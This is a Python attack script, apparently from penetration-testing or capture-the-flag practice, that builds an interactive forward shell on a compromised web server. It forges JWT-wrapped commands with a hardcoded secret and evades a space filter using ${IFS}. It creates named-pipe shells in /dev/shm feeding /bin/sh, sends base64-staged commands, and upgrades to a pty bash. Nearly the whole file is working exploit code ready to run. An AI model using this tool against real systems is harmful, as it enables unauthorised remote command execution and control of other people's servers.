ippsec_fwd_shell.py

#!/usr/bin/env python
#
# Forward Shell using Named Pipes
# -- https://www.youtube.com/watch?v=uMwcJQcUnmY
# -- Authors: ippsec, 0xdf -- Updates for 2023: Cashiuus
# -- Online copy: https://gist.github.com/Cashiuus/e3c31721b8e59ab827a44e18d9784d87

## =======[ IMPORTS ]========= ##
import argparse
import base64
import random
import sys
import threading
import time

import jwt
import requests


class WebShell(object):
    """
        Initialize Class + Setup Shell, also configure proxy for easy history/debuging with burp
    """
    def __init__(self, url, cmd=None, use_proxy=False, interval=1.3):
        # self.url = r"http://172.16.1.1:3000"
        self.url = url
        self.interval = interval
        self.use_proxy = use_proxy

        if not self.url.startswith("http"):
            print("[ERR] You must provide a valid target URL for this")
            sys.exit(1)

        if self.use_proxy:
            # Send all our traffic through Burp or another proxying tool
            self.proxies = {'http': 'http://127.0.0.1:8080'}
        else:
            self.proxies = None

        # If we pass in a cmd, just do the cmd and exit
        if cmd:
            result = self.run_raw_cmd(cmd)
            print(result)
            sys.exit()

        self.session = random.randrange(10000, 99999)
        print(f"[*] Session ID: {self.session}")
        self.stdin = f'/dev/shm/input.{self.session}'
        self.stdout = f'/dev/shm/output.{self.session}'
        #self.stdin = f'/tmp/input.{self.session}'
        #self.stdout = f'/tmp/output.{self.session}'

        print("[*] Setting up fifo named pipes shell on target")
        # NOTE: Mysteriously, target box seems to fail for this if /bin/sh includes the 2>&1
        # It also fails if there are spaces around the ">", but doesn't care around the "|"
        named_pipes_cmd = f"mkfifo {self.stdin};tail -f {self.stdin} | /bin/sh>{self.stdout}"
        self.run_raw_cmd(named_pipes_cmd, timeout=0.1)
        print("[*] Named pipes are setup, continuing...")

        print("[*] Setting up read thread")
        thread = threading.Thread(target=self.read_thread, args=())
        thread.daemon = True
        thread.start()
        # -- end of init --

    def read_thread(self):
        """ Read $session, output text to screen & wipe session
        """
        get_output_cmd = f"/bin/cat {self.stdout}"
        get_output_cmd = get_output_cmd.replace(' ', '${IFS}')
        # self.clear_output_pipe()
        while True:
            # NOTE: If you hit an unreachable target, this will infinite loop, regardless...
            result = self.run_raw_cmd(get_output_cmd)
            if result:
                print(result)
                self.clear_output_pipe()
                # clear_output = f'echo -n "" > {self.stdout}'
                # clear_output = clear_output.replace(' ', '${IFS}')
                # self.run_raw_cmd(clear_output)
            time.sleep(self.interval)
        return

    def run_raw_cmd(self, cmd, timeout=10):
        """ Execute Command
        """
        # MODIFY THIS: This is where your payload code goes
        # cmd = "ls${IFS}-al${IFS}/dev/shm"

        replace_spaces = True
        if replace_spaces:
            # Swap out spaces, because they are blocked, we bypass it using ${IFS}
            cmd = cmd.replace(' ', '${IFS}')

        payload = {'cmd': cmd}
        token = jwt.encode(payload, 'PSmu3dR2wMZQvNge', algorithm='HS256')
        # token = jwt.encode(payload, 'hello', algorithm='HS256')

        headers = {
            'Authorization': f'Bearer {token}',
            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0',
            }

        # Another place shell can be used sometimes
        # headers = {'User-Agent': cmd}

        #print(f"[DBG] Cleartext payload: {payload}")
        #print(f"[DBG] JWT Encoded token: {token}")

        try:
            #print("[*] Requesting result of command execution, please wait...")
            r = requests.get(self.url, headers=headers, proxies=self.proxies, timeout=timeout)
            return r.text
        except:
            pass

    def clear_output_pipe(self):
        # clear_cmd = f"echo -n '' > {self.stdout}"
        clear_cmd = f":>{self.stdout}"
        self.run_raw_cmd(clear_cmd)
        return

    def write_cmd(self, cmd):
        """ Send b64'd command to run_raw_cmd()
        """
        b64cmd = base64.b64encode('{}\n'.format(
            cmd.rstrip()).encode('utf-8')).decode('utf-8')
        stage_cmd = f'echo {b64cmd}|base64 -d>{self.stdin}'
        # stage_cmd = stage_cmd.replace(' ', '${IFS}')
        self.run_raw_cmd(stage_cmd)
        time.sleep(self.interval * 1.1)
        return

    def upgrade_shell(self):
        """ Attempt a known method of upgrading our shell for functionality
        """
        # shell_upgrade_cmd = """python3 -c 'import pty; pty.spawn("/bin/bash")'"""
        shell_upgrade_cmd = """python3 -c 'import pty; pty.spawn("/bin/bash")' || python -c 'import pty; pty.spawn("/bin/bash")' || script -qc /bin/bash /dev/null"""
        # shell_upgrade_cmd = shell_upgrade_cmd.replace(' ', '${IFS}')
        # print(f"[*] Sending shell upgrade command: {shell_upgrade_cmd}")
        self.write_cmd(shell_upgrade_cmd)
        return
    # -- End of WebShell class --


def main():
    parser = argparse.ArgumentParser(description="Custom forward webshell utility, originally by ippsec")
    parser.add_argument('target', help='URL of target') # positional arg
    parser.add_argument('-c', '--cmd', dest='cmd', help='Pass an initial command to run')

    args = parser.parse_args()

    if args.cmd:
        cmd = args.cmd
    else:
        cmd = None

    # Auto Proxy Checker
    # otherwise, automatically shift to fallback
    try:
        res = requests.get('http://127.0.0.1:8080', timeout=3)
        # print(res.status_code)
        proxy_running=True
    except Exception as e:
        print("[ERR] The default Burp proxy address is not running, falling back to no proxy for this")
        proxy_running=False

    # S = WebShell(args.target, cmd=cmd)
    # You can proxy it all through Burp to help troubleshoot
    S = WebShell(args.target, cmd=cmd, use_proxy=proxy_running)

    # Endless loop
    prompt = "Enter Cmd (e.g. upgrade) > "
    while True:
        try:
            print()
            cmd = input(prompt)
            if cmd == "upgrade":
                prompt = ""
                S.upgrade_shell()
            else:
                # S.run_raw_cmd(cmd)
                S.write_cmd(cmd)

        except KeyboardInterrupt:
            sys.exit(0)

    return


if __name__ == '__main__':
    main()
    # Housekeeping
    # --cmd 'rm -rf /dev/shm/input.*'
    # --cmd 'rm -rf /dev/shm/output.*'
    # --cmd 'ls -al /dev/shm'